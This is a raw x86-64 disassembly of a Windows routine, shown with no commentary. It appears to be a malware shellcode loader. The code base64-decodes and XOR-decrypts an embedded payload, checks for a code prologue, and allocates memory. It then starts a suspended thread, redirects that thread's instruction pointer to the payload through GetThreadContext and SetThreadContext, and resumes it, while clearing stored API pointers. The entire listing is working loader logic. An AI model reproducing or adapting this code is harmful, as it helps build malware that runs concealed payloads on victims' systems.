movzx eax, byte [rax + r11 + 0x26a80]
xor byte [r9 - 1], al
sub r10, 1
jne 0x140003200
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rsi + rcx], r13b
jne 0x140003240
mov rax, rcx
shr rax, 2
lea rdi, [rax + rax*2]
test rcx, rcx
je 0x140003271
nop dword [rax]
dec rcx
cmp byte [rcx + rsi], 0x3d
jne 0x140003271
dec rdi
test rcx, rcx
jne 0x140003260
lea edx, [rdi + 1]
mov dword [rsp + 0x38], edi
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [0x140027d18]
mov r8, rdi
mov rcx, rsi
mov rdx, rax
mov rbx, rax
call fcn.140006a30
mov ecx, dword [rsp + 0x38]
mov byte [rcx + rbx], r13b
test eax, eax
jle 0x1400032ba
cmp byte [rbx], 0x48
jne 0x1400032ba
cmp byte [rbx + 1], 0x8b
jne 0x1400032ba
mov r13d, 1
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.140019830
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [0x140027d30]
lea r12, [0x140000000]
mov r14, rbx
test r13d, r13d
jne 0x14000390b
call fcn.1400058c0
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x258
lea rcx, [rsp + 0x50]
call qword [0x140027c08]
movzx eax, byte [rbp + 0x68]
lea r9, [rsp + 0x38]
mov byte [rbp + 0x6e8], al
lea r8, [rsp + 0x30]
movzx eax, byte [rbp + 0x69]
lea rdx, [rbp + 0x6e8]
mov byte [rbp + 0x6e9], al
lea rcx, [rbp + 0x6a0]
movzx eax, byte [rbp + 0x6a]
mov byte [rbp + 0x6ea], al
movzx eax, byte [rbp + 0x6b]
mov byte [rbp + 0x6eb], al
movzx eax, byte [rbp + 0x6c]
mov byte [rbp + 0x6ec], al
movzx eax, byte [rbp + 0x6d]
mov byte [rbp + 0x6ed], al
movzx eax, byte [rbp + 0x6e]
mov byte [rbp + 0x6ee], al
movzx eax, byte [rbp + 0x6f]
mov byte [rbp + 0x6ef], al
movzx eax, byte [rbp + 0x70]
mov byte [rbp + 0x6f0], al
movzx eax, byte [rbp + 0x71]
mov byte [rbp + 0x6f1], al
movzx eax, byte [rbp + 0x72]
mov byte [rbp + 0x6f2], al
movzx eax, byte [rbp + 0x73]
mov byte [rbp + 0x6f3], al
movzx eax, byte [rbp + 0x74]
mov byte [rbp + 0x6f4], al
movzx eax, byte [rbp + 0x75]
mov byte [rbp + 0x6f5], al
movzx eax, byte [rbp + 0x76]
mov byte [rbp + 0x6f6], al
mov byte [rbp + 0x6f7], r13b
mov dword [rsp + 0x20], 1
call fcn.1400015a0
test eax, eax
je 0x14000365a
mov rdx, qword [rsp + 0x30]
test rdx, rdx
jne 0x1400033e0
xor esi, esi
jmp 0x140003411
mov rcx, r15
inc rcx
cmp byte [rdx + rcx], r13b
jne 0x1400033e3
mov rax, rcx
shr rax, 2
lea rsi, [rax + rax*2]
test rcx, rcx
je 0x140003411
nop dword [rax]
dec rcx
cmp byte [rdx + rcx], 0x3d
jne 0x140003411
dec rsi
test rcx, rcx
jne 0x140003400
lea rdx, [rsi + 1]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [0x140027d18]
mov rdx, qword [rsp + 0x30]
mov rdi, rax
test rdx, rdx
je 0x14000363c
test rax, rax
je 0x14000363c
mov r9, r15
inc r9
cmp byte [rdx + r9], r13b
jne 0x140003446
mov rcx, r15
inc rcx
cmp byte [rdx + rcx], r13b
jne 0x140003452
mov rax, rcx
shr rax, 2
lea r8, [rax + rax*2]
test rcx, rcx
je 0x140003481
nop dword [rax + rax]
dec rcx
cmp byte [rdx + rcx], 0x3d
jne 0x140003481
dec r8
test rcx, rcx
jne 0x140003470
cmp rsi, r8
jb 0x14000363c
test r9b, 3
jne 0x14000363c
xor r8d, r8d
test r9, r9
je 0x140003565
movsx rcx, byte [rdx + r8]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x1400034d7
lea eax, [rcx - 0x41]
cmp al, 0x19
jbe 0x1400034d7
lea eax, [rcx - 0x61]
cmp al, 0x19
jbe 0x1400034d7
cmp cl, 0x3d
ja 0x14000363c
movabs rax, 0x2000880000000000
bt rax, rcx
jae 0x14000363c
inc r8
cmp r8, r9
jb 0x1400034a0
add rdx, 2
lea r8, [rdi + 2]
dec r9
shr r9, 2
inc r9
movsx rax, byte [rdx - 2]
movsx r10, byte [rdx]
mov ecx, dword [r12 + rax*4 + 0x234a4]
movsx rax, byte [rdx - 1]
shl ecx, 6
or ecx, dword [r12 + rax*4 + 0x234a4]
shl ecx, 6
cmp r10b, 0x3d
je 0x140003523
or ecx, dword [r12 + r10*4 + 0x234a4]
movsx rax, byte [rdx + 1]
shl ecx, 6
cmp al, 0x3d
je 0x140003537
or ecx, dword [r12 + rax*4 + 0x234a4]
mov eax, ecx
sar eax, 0x10
mov byte [r8 - 2], al
cmp byte [rdx], 0x3d
je 0x14000354e
mov eax, ecx
sar eax, 8
mov byte [r8 - 1], al
cmp byte [rdx + 1], 0x3d
je 0x140003557
mov byte [r8], cl
add rdx, 4
add r8, 3
sub r9, 1
jne 0x1400034f1
mov dword [rsp + 0x38], esi
xor r8d, r8d
mov byte [rsi + rdi], r13b
movsxd r10, dword [rsp + 0x38]
test r10, r10
jle 0x1400035b6
mov r9, rdi
nop dword [rax]
mov eax, 0x38e38e39
lea r9, [r9 + 1]
imul r8d
mov ecx, r8d
inc r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r12 + 0x26a80]
xor byte [r9 - 1], al
sub r10, 1
jne 0x140003580
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rdi + rcx], r13b
jne 0x1400035c0
mov rax, rcx
shr rax, 2
lea rbx, [rax + rax*2]
test rcx, rcx
je 0x1400035f1
nop dword [rax]
dec rcx
cmp byte [rcx + rdi], 0x3d
jne 0x1400035f1
dec rbx
test rcx, rcx
jne 0x1400035e0
lea edx, [rbx + 1]
mov dword [rsp + 0x38], ebx
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [0x140027d18]
mov r8, rbx
mov rcx, rdi
mov rdx, rax
mov r14, rax
call fcn.140006a30
mov ecx, dword [rsp + 0x38]
mov byte [rcx + r14], r13b
test eax, eax
jle 0x14000363c
cmp byte [r14], 0x48
jne 0x14000363c
cmp byte [r14 + 1], 0x8b
jne 0x14000363c
mov r13d, 1
mov r8, rsi
xor edx, edx
mov rcx, rdi
call fcn.140019830
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [0x140027d30]
test r13d, r13d
jne 0x14000390b
lea r9, [rsp + 0x38]
mov dword [rsp + 0x20], r13d
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x6e8]
lea rcx, [rbp + 0x6a0]
call fcn.1400015a0
test eax, eax
je 0x14000390b
mov rdx, qword [rsp + 0x30]
test rdx, rdx
jne 0x14000369b
xor esi, esi
jmp 0x1400036d1
mov rcx, r15
nop
inc rcx
cmp byte [rdx + rcx], r13b
jne 0x1400036a0
mov rax, rcx
shr rax, 2
lea rsi, [rax + rax*2]
test rcx, rcx
je 0x1400036d1
nop dword [rax]
dec rcx
cmp byte [rcx + rdx], 0x3d
jne 0x1400036d1
dec rsi
test rcx, rcx
jne 0x1400036c0
lea rdx, [rsi + 1]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [0x140027d18]
mov rdx, qword [rsp + 0x30]
mov rdi, rax
test rdx, rdx
je 0x1400038ed
test rax, rax
je 0x1400038ed
mov r9, r15
inc r9
cmp byte [rdx + r9], r13b
jne 0x140003706
mov rcx, r15
inc rcx
cmp byte [rdx + rcx], r13b
jne 0x140003712
mov rax, rcx
shr rax, 2
lea r8, [rax + rax*2]
test rcx, rcx
je 0x140003741
nop dword [rax + rax]
dec rcx
cmp byte [rcx + rdx], 0x3d
jne 0x140003741
dec r8
test rcx, rcx
jne 0x140003730
cmp rsi, r8
jb 0x1400038ed
test r9b, 3
jne 0x1400038ed
xor r8d, r8d
test r9, r9
je 0x140003825
movsx rcx, byte [r8 + rdx]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x140003797
lea eax, [rcx - 0x41]
cmp al, 0x19
jbe 0x140003797
lea eax, [rcx - 0x61]
cmp al, 0x19
jbe 0x140003797
cmp cl, 0x3d
ja 0x1400038ed
movabs rax, 0x2000880000000000
bt rax, rcx
jae 0x1400038ed
inc r8
cmp r8, r9
jb 0x140003760
add rdx, 2
lea r8, [rdi + 2]
dec r9
shr r9, 2
inc r9
movsx rax, byte [rdx - 2]
movsx r10, byte [rdx]
mov ecx, dword [r12 + rax*4 + 0x234a4]
movsx rax, byte [rdx - 1]
shl ecx, 6
or ecx, dword [r12 + rax*4 + 0x234a4]
shl ecx, 6
cmp r10b, 0x3d
je 0x1400037e3
or ecx, dword [r12 + r10*4 + 0x234a4]
movsx rax, byte [rdx + 1]
shl ecx, 6
cmp al, 0x3d
je 0x1400037f7
or ecx, dword [r12 + rax*4 + 0x234a4]
mov eax, ecx
sar eax, 0x10
mov byte [r8 - 2], al
cmp byte [rdx], 0x3d
je 0x14000380e
mov eax, ecx
sar eax, 8
mov byte [r8 - 1], al
cmp byte [rdx + 1], 0x3d
je 0x140003817
mov byte [r8], cl
add rdx, 4
add r8, 3
sub r9, 1
jne 0x1400037b1
mov dword [rsp + 0x38], esi
xor r8d, r8d
mov byte [rsi + rdi], r13b
movsxd r10, dword [rsp + 0x38]
test r10, r10
jle 0x140003876
mov r9, rdi
nop dword [rax]
mov eax, 0x38e38e39
lea r9, [r9 + 1]
imul r8d
mov ecx, r8d
inc r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r12 + 0x26a80]
xor byte [r9 - 1], al
sub r10, 1
jne 0x140003840
inc r15
cmp byte [rdi + r15], r13b
jne 0x140003876
mov rax, r15
shr rax, 2
lea rbx, [rax + rax*2]
test r15, r15
je 0x1400038a2
nop
dec r15
cmp byte [r15 + rdi], 0x3d
jne 0x1400038a2
dec rbx
test r15, r15
jne 0x140003890
lea edx, [rbx + 1]
mov dword [rsp + 0x38], ebx
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [0x140027d18]
mov r8, rbx
mov rcx, rdi
mov rdx, rax
mov r14, rax
call fcn.140006a30
mov ecx, dword [rsp + 0x38]
mov byte [rcx + r14], r13b
test eax, eax
jle 0x1400038ed
cmp byte [r14], 0x48
jne 0x1400038ed
cmp byte [r14 + 1], 0x8b
jne 0x1400038ed
mov r13d, 1
mov r8, rsi
xor edx, edx
mov rcx, rdi
call fcn.140019830
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [0x140027d30]
mov rcx, qword [0x140027c48]
call qword [0x140027c30]
mov rcx, qword [0x140027c28]
xor edi, edi
mov qword [0x140027d68], rdi
mov qword [0x140027d50], rdi
mov qword [0x140027d28], rdi
mov qword [0x140027d58], rdi
mov qword [0x140027d48], rdi
mov qword [0x140027d20], rdi
mov qword [0x140027d60], rdi
mov qword [0x140027d70], rdi
mov qword [0x140027d38], rdi
mov qword [0x140027d40], rdi
call qword [0x140027c30]
xor eax, eax
mov qword [0x140027c08], rdi
mov word [rbp + 0x6e0], ax
xorps xmm0, xmm0
mov qword [rbp + 0x6a0], rax
mov dword [rbp + 0x6a8], eax
mov word [rbp + 0x6ac], ax
mov byte [rbp + 0x6ae], al
mov qword [rbp + 0x680], rax
mov dword [rbp + 0x688], eax
mov word [rbp + 0x68c], ax
movups xmmword [rbp + 0x6d0], xmm0
movups xmmword [rbp + 0x6e8], xmm0
test r13d, r13d
je 0x140003acf
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov rcx, qword [rsp + 0x30]
call fcn.140019830
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov r8d, 0x8000
call qword [0x140027d30]
call fcn.1400063e0
mov edx, dword [rsp + 0x38]
lea r9, [rsp + 0x48]
mov r8d, 0x20
mov rcx, r14
call qword [0x140027c70]
call fcn.1400061d0
mov r8, qword [0x140027c68]
xor r9d, r9d
add r8, 0x69
mov qword [rsp + 0x28], rdi
xor edx, edx
mov dword [rsp + 0x20], 4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
lea rcx, [rbp + 0x1b0]
mov r8d, 0x4d0
mov rbx, rax
call fcn.140019830
lea rdx, [rbp + 0x1b0]
mov dword [rbp + 0x1e0], 0x10000b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rdx, [rbp + 0x1b0]
mov qword [rbp + 0x2a8], r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov qword [0x140027c68], rdi
mov qword [0x140027c20], rdi
mov qword [0x140027c50], rdi
mov qword [0x140027c78], rdi
mov qword [0x140027c70], rdi
mov qword [0x140027d18], rdi
mov qword [0x140027d30], rdi
call fcn.140006d50
nop word [rax + rax]
mov ecx, 0x2710
call qword [0x140027c60]
jmp 0x140003ac0
xor eax, eax
mov rcx, qword [rbp + 0x6f8]
xor rcx, rsp
call fcn.1400074b0
lea r11, [rsp + 0x800]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret